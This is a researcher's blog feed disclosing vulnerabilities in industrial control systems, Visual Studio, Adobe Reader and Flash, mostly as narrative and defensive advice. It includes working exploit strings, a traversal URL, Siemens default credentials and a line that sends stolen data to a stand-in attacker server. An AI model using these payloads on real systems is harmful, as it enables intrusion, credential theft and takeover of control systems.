Billy (BK) RiosThoughts on Security in an Uncivilized World…2015-03-23T14:00:08Zhttp://xs-sniper.com/blog/feed/atom/WordPressxssniperhttp://xs-sniper.com/blog/?p=4412015-03-23T09:06:28Z2015-03-23T14:00:08ZLast week, ICS-CERT released an advisory on a set of Johnson Control MetaSys vulnerabilities I reported. You can find the advisory here: https://ics-cert.us-cert.gov/advisories/ICSA-14-350-02

It’s interesting to note that my initial email describing the vulnerabilities was sent on November 22nd, 2013. So, 1 year, 3 months, and 23 days later… we finally get a public advisory. The vulnerabilities are extremely simple to exploit (as we’ll see in the post below), but they are also extremely easy to defend/detect. If you are a owner of one of these devices, the facility for which this device supports has been exposed for over a year. If you find these timelines unacceptable, you should call or email your Johnson Controls representative. Let them know that this is unacceptable and their security engineering practices need to be more agile. They obviously don’t care about security researchers, but maybe they’ll listen to their customers.

The Johnson Control NAE is a typical embedded device that you’ll find supporting Building Automation Systems. Here’s a picture of a NAE55.

The NAE55 runs Microsoft embedded standard on an Intel x86 Atom processor. Typically there is a flashdisk which can be accessed at /flashdisk. On the flashdisk, there is a large amount of web related code. Given that web interfaces are almost always remotely accessible, this is an excellent place to find impactful security issues. Some components created by Johnson Controls are written in .NET. While I didn’t find much raw source code, MetaSys makes use of precompiled binaries (dlls) on the NAE55. We can find these precompiled binaries on the flashdisk at: /flashdisk/Storage/Metasys/wwwroot/metasysIII/WS/bin

A quick note to device vendors, shipping .NET code, even in precompiled dlls, is the same as shipping raw source. But your code is tight… so you have nothing to worry about… right?.

There are a large number of binaries here, so where should we start? We’ll break out .NET reflector and we’ll look into a DLL named, “WebServices.Common.dll”. A screenshot of the WebService.Common.dll metadata is shown below.

WebServices.common refers to a number of interesting namespaces. The screenshot below shows the various namespaces.

“Security” is always interesting, so looking at the JohnsonControls.MetasysIII.Security namespace, we see the following:

“AdministationService” exposes several methods including a public method called, “getUserProperty()” getUserProperty accepts an INT value representing the userID and returns a XmlNode.

The implementation of “getUserProperty” is located in the Subsystems.Common assembly:

The Subsystems.Common code can be found in the “Subsystems.Common.dll”. Inside Subsystems.Common is a variety of namespaces including another namespace reference of “JohnsonControls.MetasysIII.Security”

Inside the “JohnsonControls.MetasysIII.Security” namespace is a class named “PrincipalStore”. A screenshot for “PrincipalStore” is shown below:

Inside the “PrincipalStore” class is the actual code for “getUserProperty()”

As you can see, the “getUserProperty()” method exposes user passwords (password hashes). If we can call this method remotely, we should be able to retrieve the password hash for any user on the device (along with a bunch of other user data).

It turns out, we can call this method as an unauthenticated user by making the following web service request (in the example below, we retrieve the details for the all powerful METASYSAGENT account, which is always userID = 1):

We can increment the “userID” value and retrieve the password hashes for all users on the device. It’s a good thing that integrators always use really strong passwords, otherwise these would be easily cracked

Here is an interesting exercise… if you have MetaSys in your facilities, ask your integrator if you have any devices that are affected by this bug. If you do have vulnerable devices, ask your integrator to install the latest patches. I would also suggest reviewing your web logs to see if anyone suspicious has called the “AdminService.asmx” web service. Given that this bug allows someone to capture password hashes, it’s a good idea to ask your integrator to reset all the user passwords on the device after you’ve installed the security patches… unless of course changing one of the device passwords breaks inter-operability your integrator setup with other devices, in which case your integrator will be stuck with a pretty major project on their hands… but that would never happen

Probably more relevant for the next post, but for those trying to do last mile supply chain verification or forensics on the NAE, I’ve uploaded my MetaSys bins to WhiteScope.

BK

]]>0xssniperhttp://xs-sniper.com/blog/?p=4312015-02-11T19:44:40Z2015-02-12T10:00:58ZLast week, someone told me that my blog was on the “LovelyHorse” list. I’ve always thought that I was the only person who cared about this blog, but I guess there is a lonely analyst out there that also cares… lonely analyst, this one is for you

I reported an issue affecting Visual Studio 2012 (which I had installed on one of my dev machines at the time). The issue was a blast from the past and reminded me of simpler times when I had the privilege of doing vulnerability research with Nate McFeters and Rob Carter :). Microsoft has addressed the issue, but determined that this issue did not warrant a bulletin, so you’ll have download the Visual Studio 2012 update 4 if you want to “patch” this issue. I have not verified whether other versions of Visual Studio were/are affected. Tested on Win7 with IE10 and VS2012.

Visual Studio 2012 registers the “vstfs” protocol handler during the installation process. This protocol handler calls devenv.exe in the following manner:

As you know, protocol handlers can be instantiated remotely, most commonly via web pages. The “%1″ value can be attacker controlled and contains the values supplied when the attacker calls the protocol handler:

Some time ago, I discovered that it was possible to escape out of double quotes when passing argument values to protocol handlers via Internet Explorer (and other browsers on Windows like Chrome). Sadly, this behavior is “by-design” and will not be fixed anytime soon. Knowing this, we can inject additional command line switches which will be passed to devenv.exe. If we know of suitable command line switch for devenv.exe we can repurpose devenv.exe and the vstfs protocol handler to do our bidding. For example, if we pass the following the Internet Explorer (copy/paste into the address bar or serve from a webpage):

The line above, launches devenv.exe and also shells an executable of our choice (with the ability to pass arbitrary command line arguments to that arbitrary executable).

Fortunately, modern browsers (with the exception of Safari… but who uses Safari on Windows?!?!) have warnings when launching protocol handlers. This means users will likely encounter two prompts from IE (protocol handler warning and an elevation warning), you can witness this if you copy/paste the vstfs:test” /command “Tools.Shell /c c:\windows\system32\calc.exe” string into the IE address bar (tested against IE10 with a system that has VS2012).

There might be a way to bounce this protocol handler off a whitelisted protocol handler (one that doesn’t cause a protocol handler warning) running at medium. Alternatively, we could pass this protocol handler to a remote user via an application that doesn’t have protocol handler warnings (like a chat application that supports URLs). If we can find such a case there will be no warnings to the user and we’ll have a zero click or one click remote command injection exploit against Visual Studio users.

]]>0xssniperhttp://xs-sniper.com/blog/?p=4242012-11-26T06:38:31Z2012-11-26T12:30:50ZIn July of this year, I wrote about some of the frustrations I encountered when working with Tridium and trying to get them to fix various issues with their Niagara framework. The Niagara framework is the most prevalent Industrial Control System (ICS) in the world; it links together various ICS technologies and protocols. Looking at Eireann Leverett’s research on Internet accessible ICS, we see that Tridium Niagara is the prevalent ICS system available from the Internet. I didn’t talk much about the details of the issues I reported to DHS, but considering the patch has been out for nearly six months, I figure now is a good time.

The initial issue I reported to Tridum was a directory traversal issue that allowed remote, authenticated users to access files outside of the webroot. “Authenticated” includes demo and low privileged accounts. The directory traversal is very simple. Most web application security specialists know the classic “../../” style directory traversal, however Tridium was a bit different. Tridium makes use of “ordinals” to enable various functionalities within Niagara. For example, here is a URL for a Niagara deployment that uses the “station” ordinal:

http://axdemo.tridium.com/ord?station:%7Cslot:/Drivers/DemoNetwork

The Niagara framework supports a large number of ordinals. One of these ordinals is the “file” ordinal, which is used to retrieve files from the Niagara framework server. The “file” ordinal followed by the path and filename to some file located within the webroot of the Niagara framework server. The Tridium Niagara framework isn’t susceptible to “../../” style traversal attacks, instead the Niagara framework uses the “^” character to traverse directories. Knowing this, we can specify a “^” character immediately following the file ordinal to traverse outside of the webroot. There are several files just outside of the webroot, however there is one file that is particularly interesting, a file named “config.bog”. The config.bog file is the configuration file for the entire Tridium Niagara deployment. The config.bog file contains all the configuration settings including username and encrapted (yes, I said encrapted… not encrypted) passwords for all accounts enabled on the system. Knowing this, we have a simple, reliable form of privilege escalation for any Tridium Niagara device. The exploit is very simple:

http://Niagara-installation/ord?file:^config.bog

When you make the request above, you’ll download a compressed file. Unzip the compressed file and you’ll find the clear text config.bog for the Niagara server. Inside the config.bog, you’ll see the entire, detailed configuration for the Tridium device along with the username and passwords (protected with encraption). That’s it, it’s that simple. When I reported this issue to Tridium, I sent them a copy of their config.bog file for their marketing demo deployment.

Let’s ignore the fact that demo, default, and guest accounts are fairly common on these devices. In addition to the directory traversal, I also reported a weak session issue and insecure storage of user credentials issue. The Tridium Niagara framework generates sessionids that have about 9 bits of strength. This makes brute force attacks completely feasible and allows a remote attacker to quickly gain access to an authenticated state. Once authenticated, they are free to utilize the directory traversal to escalate privilege to Administrator. If that weren’t enough, the Tridium Niagara framework also stores a copy of the current username and password (base64’d) in the cookie giving any XSS bug the potential to divulge the clear text username and password.

There is a shining light to this story. When I first reported this issue to Tridium, the initial response was horrid. 6 months after the initial report, Tridium’s leadership attempted to pass these vulnerabilities off as “by-design”. Eventually, the folks at Honeywell (Tridium’s parent company) found about these issues and took over the response process. Three weeks later, they had a patch ready to go. Honeywell made the patch available to me a few days in advance of the release so I could take a look and verify the issues were fixed. They even gave me credentials to the new demo site so I could see the new features and security changes. It was welcoming to see an ICS vendor take such a stance towards security researchers, I hope other ICS vendors take note and follow suit. I’d like to personally thank Kevin Staggs for driving the renewed focus on security for Tridium Niagara, if you’re a Tridum customer, you should thank Kevin too. If you are a Tridium customer, you can learn more about the patch here:

]]>2xssniperhttp://xs-sniper.com/blog/?p=4132012-10-11T18:19:42Z2012-10-11T18:00:28ZA few years ago, I discovered a peculiar design decision described in the PDF specification. This design flaw allows for an attacker to conduct XSS attacks against some websites that would not normally have XSS vulnerabilities. I reported this issue to Adobe in late 2009. Apparently, there are some challenging back-compat issues which make changing this design difficult. Given it’s been nearly three years since I first reported the issue to Adobe and a fix from Adobe doesn’t seem likely (Chrome has already fixed their internal PDF reader), I figured I should let web application community know about the exposures. I don’t expect “APT” or other 31337 $country “cyber liberation armies” to use this anytime soon, but it is interesting behavior and I hope web application security folks find it interesting. Hopefully some researcher who’s smarter than me can take this to the next level. Oh, and I apologize for the ugly PoCs in advance!

If we take a look at section 3.4.1, “File Header” of Appendix H in the PDF specification, we see the following:

13. Acrobat viewers require only that the header appear somewhere within
the first 1024 bytes of the file.

Anyone who has read the PDF specification probably knows about this behavior, in fact Julia Wolf mentioned this behavior in her epic OMG WTF PDF talk at CCC in 2010. This peculiar design allows for the creation of a hybrid file that is both some arbitrary file type (such as gif, png, doc…etc) and PDF. We do this by cramming a PDF header after another file header. An example of this is shown in the screenshot below:

Hopefully, by now we’ve already realized that hosting user controlled PDFs and serving those PDFs from a sensitive domain is dangerous from a web security perspective. However, with this quirky file header behavior, we’ll have the ability to smuggle PDFs onto a website that only accepts “benign” file types. As an example, I’ve uploaded such a file to an appspot web application I created. The PoC shows that we can load a single file as both a GIF (or any other file type we want) and a PDF. Adobe PDF reader needs to be set as your default PDF handler for the PoC to work.

The only difference in the two displays in the PoC above is the way we reference the file. In the case of the image, we simply use an IMG tag. When we want to force the browser to hand the file to the default PDF reader, we make use of the OBJECT tag and explicitly specify a content type to force the content to be handled by the default PDF reader. Of course, this technique can be generalized for other plugins.

PDFs do not have by-design access to the DOM of the domain from which it is served. How then can we use a PDF to achieve XSS? Here is where the feature rich Adobe PDF Reader comes into play. Once the PDF is loaded, we have a couple different options to achieve XSS. First, we can redirect the PDF to a javascript url. These redirections will navigate the browser (not the PDF document) and results in true browser based XSS on the victim domain. Luckily, Adobe considers redirection from a PDF to javascript URLs a bug and has eliminated the most obvious methods for achieving this. There is however, another method which essentially achieves the same impact. We can use a built in API to make network requests to and from the victim domain. These network requests will carry any cookies associated with the victim domain, giving the attacker access to authenticated resources.

The following link demonstrates how this issue would be used against a website. The domain xs-sniper.com (the attacker’s domain in this example) loads a smuggled GIF/PDF from http://pdfxss.appspot.com (the victim domain in this example). Once the PDF is loaded, we make use of the built in XML APIs to retrieve a file /secret.txt from http://pdfxss.appspot.com (the victim domain).

IE users will see a warning in the PDF reader. This is because IE actually downloads the PDF and opens a local copy You can verify the IE behavior by browsing to this PoC with Internet Explorer (Adobe PDF Reader must be set as the default reader).

Lastly, you can inject a PDF into a website if you have already XSS. This might be helpful in bypassing XSS filters or application filtering. This is accomplished by injecting a PDF into the vulnerable site using the OBJECT tag.

What’s the impact? Well, I suspect there are plenty of Internet facing web sites that are vulnerable to this bug. Any web application that accepts uploads of “benign” file types and then serves those files back to the user could be affected. This also affects websites which rely on content-type headers to prevent XSS (btw, this strategy doesn’t work). See Phil Purviance’s blog for tips on spotting (and exploiting) websites that use content-type to protect against XSS. This bug can also be used to exploit the applications that use content-disposition headers to prevent XSS bugs. The most common attack surface here will likely be internal content portals. Pretty much every internal content portal used in the enterprise is vulnerable to this issue (think Sharepoint).

You can test for this issue by trying to upload this file to a vulnerable web application. If you see the PDF header in the uploaded file AND the file is served from a sensitive domain (ex. it has auth cookies), then the application is vulnerable.

The proper defense for this is the usage of alternate domains for user supplied content (aka sandboxed domains). Sandboxed domains can be tricky to implement. Some of the most popular web applications on the web already make extensive use of sandbox domains, but the vast majority of web applications do not. Once again, internal content portals are in a hard spot as it’s more difficult to implement a sandboxed domain on an internal network. Sandboxed domains is a subject many “web application security specialists” understand poorly and probably deserves its own blog post. How to properly implementing a sandboxed domain is a great interview question for senior web application security roles because it tests design and implementation skills. It also requires a really solid understanding of browser/plugin same origin policy. I haven’t seen much written about sandboxed domains, but this blog post does a nice job of summing up some of the challenges of content hosting. http://googleonlinesecurity.blogspot.com/2012/08/content-hosting-for-modern-web.html

Happy hunting!

BK

]]>3xssniperhttp://xs-sniper.com/blog/?p=4092012-07-13T00:07:25Z2012-07-13T00:07:25ZWe are happy to see Robert O’Harrrow is shining a light on the vulnerabilities associated with Industrial Control Systems (ICS). The ICS software community is light years behind modern software security. Sadly, we can honestly say that the security of iTunes is more robust than most ICS software. Terry and I plan on releasing some technical details about what we’ve found in the near future, but for now we wanted to talk about some of our experiences with this particular issue.

First, ICS-CERT has done a great job tracking this issue. It’s been months since we first reported the issue to ICS-CERT. Following up with an unresponsive vendor is extremely frustrating. It was apparent that ICS-CERT was making every effort to follow-up with Tridium and they kept us well informed throughout the entire process. We especially want to thank those ICS-CERT analysts who kept us apprised of developments despite the lack of response and unwillingness of Tridium to accept responsibility for the issue.

We are disappointed that it took so long for the public to become aware of this issue. According to the Washington Post article, Tridium became aware of this vulnerability “almost a year ago, when a Niagara customer that uses the software to manage Pentagon facilities turned up issues in an audit”. We are disappointed that even after discovering critical, remotely exploitable vulnerabilities in Tridium software… our government chose to purchase and implement the software anyway. We are disappointed that our tax payer money paid for the ignored security audit, paid for the acquisition, and paid for the implementation/deployment of known vulnerable software. We’d like to challenge our nation’s leadership to evaluate the failures in our current processes surrounding the acquisition of software that support Critical Infrastructure and Industrial Control Systems.

At times, we felt like ICS-CERT had their hands tied. We realize when you are working with vulnerabilities that could affect critical infrastructure, a delicate balance between disclosure and timely notification of affected organizations must be maintained. However, when a vendor is unresponsive or refuses to accept responsibility for an issue, ICS-CERT should have the authority to inform those customers who are vulnerable in a timely manner. DHS and ICS-CERT work for us, the American people… they do not work for the PR departments of ICS companies. ICS-CERT should be able to take the appropriate actions to ensure that we’re safe and to ensure ICS customers have the right information to mitigate and control risk. The PR damage done to any individual company should never be part of this equation. If a vendor is unresponsive or unwilling to accept responsibility for a security issue, ICS-CERT should have the option of disclosing issues (45) days after initial notification from external researchers (this is consistent with CERT/CC’s disclosure timelines). Of course, special circumstances require special handling, but we’re sure the folks at ICS-CERT can make those determinations when needed.

Probably the most disappointing part of the whole ordeal is Tridium’s eagerness to blame the customer. We’ve seen this from other ICS vendors as well. It should never be the customer’s responsibility to have to compensate for poor design. Many ICS vendors expect customers to ensure their product is implemented securely, yet provide zero (or extremely vague) guidance on how to do so. In many cases, secure deployment is simply impossible due to the extremely poor security design. Notification, automatic patching, and secure implementation guidelines in the ICS world are light years behind modern software. We don’t understand Tridium’s claims that, “The firm also is doing more to train customers about security” when the root cause of these issues is poor design and coding practices from Tridium itself. Maybe Tridium should invest in training their developers about security first…

If you would like to contact us about our experiences, please email us at: help – at – fixicssecurity.com

Billy Rios @xssniper and Terry McCorkle @0psys

]]>0xssniperhttp://xs-sniper.com/blog/?p=3962011-12-21T07:49:22Z2011-12-21T01:22:40ZI have been working with ICS-CERT and various vendors over the last year, finding bugs and “responsibly” reporting nearly 1000 bugs… all for free and in my spare time. Overall, its been a great experience. Most of the vendors have been great to work with and ICS-CERT has done a great job managing all the bugs I’ve given them. In May of this year, I reported an authentication bypass for Siemens SIMATIC systems. These systems are used to manage Industrial Control Systems and Critical Infrastructure. I’ve been patiently waiting for a fix for the issue which affects pretty much every Siemens SIMATIC customer. Today, I was forwarded the following from Siemens PR (Alex Machowetz) via a Reuters reporter that made an inquiry about the bugs we reported:

“I contacted our IT Security experts today who know Billy Rios…. They told me that there are no open issues regarding authentication bypass bugs at Siemens.”

For all the other vendors out there, please use this as a lesson on how NOT to treat security researchers who have been freely providing you security advice and have been quietly sitting for half a year on remote authentication bypasses for your products.

Since Siemens has “no open issues regarding authentication bypass bugs”, I guess it’s OK to talk about the issues we reported in May. Either that or Siemens just blatantly lied to the press about the existence of security issues that could be used to damage critical infrastructure…. but Siemens wouldn’t lie… so I guess there is no authentication bypass.

These aren't the Auth Bypasses you're looking for

First, the default password for Siemens SIMATIC is “100”. There are three different services that are exposed when Siemens SIMATIC is installed; Web, VNC, and Telnet. The default creds for the Web interface is “Administrator:100” and the VNC service only requires the user enter the password of “100” (there is no user name). This is likely the vector pr0f used to gain access to South Houston (but only he can say for sure). All the services maintain their credentials separately, so changing the default password for the web interface doesn’t change the VNC password (and vice versa). I’ve found MANY of these services listening on the Internet… in fact you can find a couple here: http://www.shodanhq.com/search?q=simatic+HMIhttps://www.google.com/?#q=%22SIMATIC+HMI+Miniweb+on%22

But WAIT, there's MORE!

But WAIT… there’s MORE! If a user changes their password to a new password that includes a special character, the password may automatically be reset to “100”. Yes, you read that correctly… if a user has any special characters in their password, it may be reset to “100”. You can read about these awesome design decisions (and many others) in the Siemens user manuals.

But WAIT… there’s MORE! So I took a look at what happens when an Administrator logs into the Web HMI. Upon a successful login, the web application returns a session cookie that looks something like this:

EAAAAPiZE5314QWTlkMUFedwxt0qYWRtaW5pc3RyYXRvcioxMTM3NzQ2OCoxNyo=

Looks pretty secure… right? Well, I harvested sessions from repeated, successful logins and this is what I saw:

Totally predictable. For those non-techies reading this… what can someone do with this non-existent bug? They can use this to gain remote access to a SIMATIC HMI which runs various control systems and critical infrastructure around the world… aka they can take over a control system without knowing the username or password. No need to worry though, as there are “no open issues regarding authentication bypass bugs at Siemens.”

Next time, Siemens should think twice before lying to the press about security bugs that could affect the critical infrastructure….to everyone else, Merry Christmas

BK

]]>38xssniperhttp://xs-sniper.com/blog/?p=3902011-06-10T22:49:01Z2011-06-10T22:44:06ZI’m posting some of the research I’ve been working on over the last few months. I planned on submitting some of this research to the Blackhat/DEFCON CFP, but it looks like I’ll be tied up for most of the summer and I won’t be able to make it out to Vegas for BH or DEFCON this year (pour some out and “make it rain” for me). The gist of the research is this: I’ve collected of number of malware C&C software packages. I set up these C&Cs in a virtual network and audited the applications and source code (when available) for bugs. The results were surprising; most of the C&C software audited has pretty crappy security.

Attacking malware C&C is an interesting proposition. Exploiting a single host can result in the transfer of hundreds or even thousands of hosts from one individual to another. I’m not the first to note that malware and C&C software is evolving. Gone are the days of simple IRC bots receiving clear text commands from an IRC server. Today’s C&C’s are full fledged, feature rich applications with much complexity. Complexity is the enemy of security, even malware authors cannot escape this. There is no magic bullet, even malware authors face the difficulties of writing secure code. This is especially so if their customers are paying money for C&C software and demand newer features and robust interfaces. Today’s malware landscape looks much like a typical software enterprise with paying customers, regularly scheduled feature updates, marketing, and a sprinkling of PR. Who knows, maybe in the near future these malware enterprises will have dedicated, on-call security engineering teams and a formal SDL process

One of the readers (PZ) had a question about the SWFs local-with-filesystem sandbox, which should prevent SWFs loaded from the local file system from passing data to remote systems. Looking at the documentation related to the sandbox, we see the following:

Local file describes any file that is referenced by using the file: protocol or a Universal Naming Convention (UNC) path. Local SWF files are placed into one of four local sandboxes:

The local-with-filesystem sandbox—For security purposes, Flash Player places all local SWF files and assets in the local-with-file-system sandbox, by default. From this sandbox, SWF files can read local files (by using the URLLoader class, for example), but they cannot communicate with the network in any way. This assures the user that local data cannot be leaked out to the network or otherwise inappropriately shared.

First, I think the documentation here is a bit too generous. SWFs loaded from the local file system do face some restrictions. The most relevant restrictions are probably:

The SWF cannot make a call to JavaScript (or vbscript), either through URL or ExternalInterface

The SWF cannot call a HTTP or HTTPS request.

Querystring parameters (ex. Blah.php?querystring=qs-value) are stripped and will not be passed (even for requests to local files)

Unfortunately, these restrictions are not the same as, “cannot communicate with the network in any way” which is what is stated in the documentation. The simplest way to bypass the local-with-filesystem sandbox is to simply use a file:// request to a remote server. For example, after loading the content from the local file system an attacker can simply pass the contents to the attacker server via getURL() and a url like: file://\\192.168.1.1\stolen-data-here\

Fortunately, it seems you can only pass IPs and hostnames for system on the local network (RFC 1918 addresses). If an attacker wants to send data to a remote server on the Internet we’ll have to resort to a couple other tricks. A while back, I put up a post on the dangers of blacklisting protocol handlers. It’s basically impossible to create a list of “bad” protocol handlers in siutation like this. In the case of the local-with-filesystem sandbox, Adobe has decided to prevent network access through the use of protocol handler blacklists. If we can find a protocol handler that hasn’t been blacklisted by Adobe and allows for network communication, we win.

There are a large number of protocol handlers that meet the criteria outlined in the previous sentence, but we’ll use the mhtml protocol handler as an example. The mhtml protocol handler is available on modern Windows systems, can be used without any prompts, and is not blacklisted by Flash. Using the mhtml protocol handler, it’s easy to bypass the Flash sandbox:

getURL(‘mhtml:http://attacker-server.com/stolen-data-here‘, ”);

Some other benefits for using the mhtml protocol handler are:

The request goes over http/https and port 80/443 so it will get past most egress filtering

If the request results in a 404, it will silently fail. The data will still be transmitted to the attackers server, but the victim will never see an indication of the transfer

The protocol handler is available by default on Win7 and will launch with no protocol handler warning

There you go, an easy way to bypass Flash’s local-with-file system sandbox. Two lessons here. One, running un-trusted code (whether it’s an executable, javascript, or even a swf) is dangerous. Two, protocol handler blacklists are bad. Hope this helps PZ!

]]>36xssniperhttp://xs-sniper.com/blog/?p=3742010-12-22T20:11:55Z2010-12-22T20:11:55ZImagine there is an un-patched Internet Explorer vuln in the wild. While the vendor scrambles to dev/test/QA and prime the release for hundreds of millions of users (I’ve been there… it takes time), some organizations may choose to adjust their defensive posture by suggesting things like, “Use an alternate browser until a patch is made available”.

So, your users happily use FireFox for browsing the Internet, thinking they are safe from any IE 0dayz… after all IE vulnerabilities only affect IE right? Unfortunately, the situation isn’t that simple. In some cases, it is possible to control seemingly unrelated applications on the user’s machine through the browser. As an example (I hesitate to call this a bug, although I did report the behavior to various vendors) we can use various browser plugins to jump from FireFox to Internet Explorer and have Internet Explorer open an arbitrary webpage.

Firefox will call Adobe Reader to render the PDF, Adobe Reader will then call the default browser and pass it a URL, the default browser (IE) will render the webpage passed by the PDF.

The example I provide simply jumps from Firefox to IE and loads http://xs-sniper.com/blog/, however I’m free to load any webpage in IE. To be fair, we can substitute Firefox for Safari or Opera and it will still work.

Achieving this is simple. We use a built-in Adobe Reader API called app.launchURL(). Looking at the documentation for the launchURL() API, we see that launchURL() takes two parameters: cURL (required) and bNewFrame (optional). cURL is a string that specifies the URL to be launched and bNewFrame provides an indication as to whether cURL should be launched in a “new window of the browser application”. In this case, “new window of the browser application” really means the default browser.

A simple one liner in Adobe Reader JavaScript gets it done:

app.launchURL(“http://xs-sniper.com/blog/”,true);

Happy hunting…

]]>2xssniperhttp://xs-sniper.com/blog/?p=3662010-12-17T10:28:09Z2010-12-17T10:26:10ZI had the honor of presenting at RuxCon and BayThreat this year. Both were great conferences with great people. I’m always humbled when I learn of what others are doing in the security community and even more humbled when asked to present. I gave a presentation called Will It Blend. The title of the talk is based on a series of videos from Blendtec (I could watch these videos all day). The content of the talk however is about “blended threats”. During the talk I presented a set of bugs I discovered in various browser plug-ins. Independently, these bugs are pretty lame. However, if we chain the bugs together, we get something that’s actually pretty interesting. If you’re interested in taking a look at the slides, you can find them here (PPTPLEX format) or on the RuxCon/Baythreat websites. The vuln chaining is a little difficult to visualize by looking at the slides, so at the end of my talk I gave a live demo of the bugs being chained together. For those who were unable to attend my talk live, I’ve created a video to help understand how the exploit would be pulled off (http://www.youtube.com/watch?v=fMFVVNE8ytQ). It will help to go over the slides first, then watch the video.

Most of the relevant code is available in the slide deck (its really simple). There are around 5 different bugs in play here, involving a variety of vendors. All the vendors involved have been contacted. The oldest bug here is over a year old, the youngest is about five months old. Kudos to Adobe. Adobe X has changed its caching behavior, so this specific attack cannot be used against Adobe X users.

I’m not sure where the blame lies for fixing these issues. On one hand, if a single vendor addresses their portion of the attack, the entire chain of vulnerabilities is broken. On the other hand, if only one vendor addresses their issue, all we have to do is find some other software/plugin that buys us the same capability and its game on again.